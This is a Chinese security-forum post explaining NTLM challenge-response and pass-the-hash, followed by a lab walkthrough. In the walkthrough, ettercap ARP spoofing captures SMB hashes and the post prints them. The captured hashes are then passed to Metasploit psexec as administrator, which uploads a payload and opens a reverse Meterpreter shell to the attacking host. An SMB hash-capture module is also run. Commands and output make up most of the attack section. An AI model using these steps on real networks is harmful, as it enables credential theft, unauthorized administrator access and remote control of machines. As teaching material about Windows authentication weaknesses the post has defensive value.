切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
158 smb会话劫持[复制链接]
发表于 2012-10-1 22:51:59 | 显示全部楼层 |!read_mode!

早期SMB协议在网络上传输明文口令。后来出现”LAN Manager Challenge/Response”验证机制,简称LM,但是很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在 已经有了更新NTLMv2以及Kerberos验证体系。
假如A机器试图访问B机器某共享资源的时候,A机器会发送当前登陆的用户名和密码,由B机器进行验证,此时B机器会随机产生8字节的挑战 (Challenge),送往A机,A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B,B从SAM中获取A发送的用户名的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进行标准DES加密,如果双方比较结果一致,那么就算通过验证。如果这次的验证无法成功,才会提醒用 户输入用户名和密码,也就是我们常见的验证框。由用户填入用户名和密码后再用同样的方式进行下一轮的加密–验证
(注意:这里的会话机制仅限于NT,2K,如果98,WINME向2K或者NT提出请求的话,你是无法选择用户名的,默认的用户名就是你当前登陆名)
我们先来看看SMBPROXY工作原理,因为PWDUMP截取的文件里后面一排就是NTLM HASH,这里的HASH直接进行DES加密–发送–验证,省去了明文口令加密的那一步,所以,实际上就不需要获取什么明文口令了
下面就是工作图例:
Legend: H:把明文口令加密的算法
E  DES 加密算法
D  Decryption
P  是明文口令
S=H(P)  明文口令加密后的HASH,贮存在SAM中,
N  挑战
A  客户端
B  服务器
Windows NT/2000 login:
1. A=>B: 发出请求
2. B=>A: N
3. A=>B: E(N,H(P))
服务器检查的是S=D(N,E(N,H(P))) 或者 E(N,S)=E(N,H(P)).

事实上,S我们是可以通过PWDUMP获得的,也就是说,P已经不需要暴力破解了

Windows NT/2000 “passing the hash”:
1. A=>B: 发出请求.
2. B=>A: N
3. A=>B: E(N,S)
发送S=D(N,E(N,S)) 则必然可以通过主机验证,我们此时就是你发送S的用户身份,如果你发送的是管理员的S值,你就是管理员!

打开UB1 打开WIN2 1 WIN2 2

UB1 启动ETTERCAP嗅探:


  1. root@Dis9Team:~# ettercap -T -q -M arp  // //
复制代码
WIN2 1 访问 WIN 2 的共享 我们获得了HASH


  1. SMB : 1.1.1.6:445 -> USER: brk  HASH: brk:"":"":534FFD1E0386613A00000000000000000000000000000000:7406492EF81D971A2259E253B5173089563218E653C8ADDF:801458EE5A2680DB DOMAIN: WWWDIS9COM (Login Failed)
  2. SMB : 1.1.1.6:445 -> USER: brk  HASH: brk:"":"":FAC0EAFCCB5A5C1000000000000000000000000000000000:CB2DECEE275141318D0CD06A8F046C02B433C4E7E3BBE451:5334D4DF322DD0F1 DOMAIN: WWWDIS9COM (Login Failed)
  3. SMB : 1.1.1.6:445 -> USER: brk  HASH: brk:"":"":0A875557D0E43F6D00000000000000000000000000000000:B22E248225B3681BA27F5BA7A10BD5D11B5571A01B28D24B:A6542563F76FEADA DOMAIN: WWWDIS9COM (Login Failed)
  4. SMB : 1.1.1.6:445 -> USER: brk  HASH: brk:"":"":C15B6172A7C73DDC00000000000000000000000000000000:C465E338D782D4E4D8AB94DA3C797A60529DDDCD4168846A:AE5D38A0446BD2A1 DOMAIN: WWWDIS9COM (Login Failed)
复制代码
进行攻击:


  1. msf  exploit(psexec) > set SMBPass C15B6172A7C73DDC00000000000000000000000000000000:C465E338D782D4E4D8AB94DA3C797A60529DDDCD4168846A
  2. SMBPass => C15B6172A7C73DDC00000000000000000000000000000000:C465E338D782D4E4D8AB94DA3C797A60529DDDCD4168846A
  3. msf  exploit(psexec) > set SMBUser administrator
  4. SMBUser => administrator
  5. msf  exploit(psexec) > exploit

  6. [*] Started reverse handler on 1.1.1.3:4444
  7. [*] Connecting to the server...
  8. [*] Authenticating to 1.1.1.84:445|WORKGROUP as user 'administrator'...
  9. [*] Uploading payload...
  10. [*] Created \DNXoxDbl.exe...
  11. [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:1.1.1.84[\svcctl] ...
  12. [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:1.1.1.84[\svcctl] ...
  13. [*] Obtaining a service manager handle...
  14. [*] Creating a new service (hwlCNUZv - "MnrtRGzUYiCqFm")...
  15. [*] Closing service handle...
  16. [*] Opening service...
  17. [*] Starting the service...
  18. [*] Removing the service...
  19. [*] Closing service handle...
  20. [*] Deleting \DNXoxDbl.exe...
  21. [*] Sending stage (752128 bytes) to 1.1.1.84
  22. [*] Meterpreter session 1 opened (1.1.1.3:4444 -> 1.1.1.84:1034) at 2012-07-03 02:33:58 -0700

  23. meterpreter >
复制代码
取得SHELL当然METASPLOIT有自己的SMB欺骗模块
  1. msf  exploit(psexec) > use auxiliary/server/capture/smb
  2. msf  auxiliary(smb) > exploit
  3. [*] Auxiliary module execution completed

  4. [*] Server started.
  5. msf  auxiliary(smb) >
  6. msf  auxiliary(smb) > [*] SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... 1.1.1.84
复制代码
能获得HASH



附件: 你需要登录才可以下载或查看附件。没有帐号?加入Team
操千曲而后晓声,观千剑而后识器。

代码区

GMT+8, 2020-10-2 02:30

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部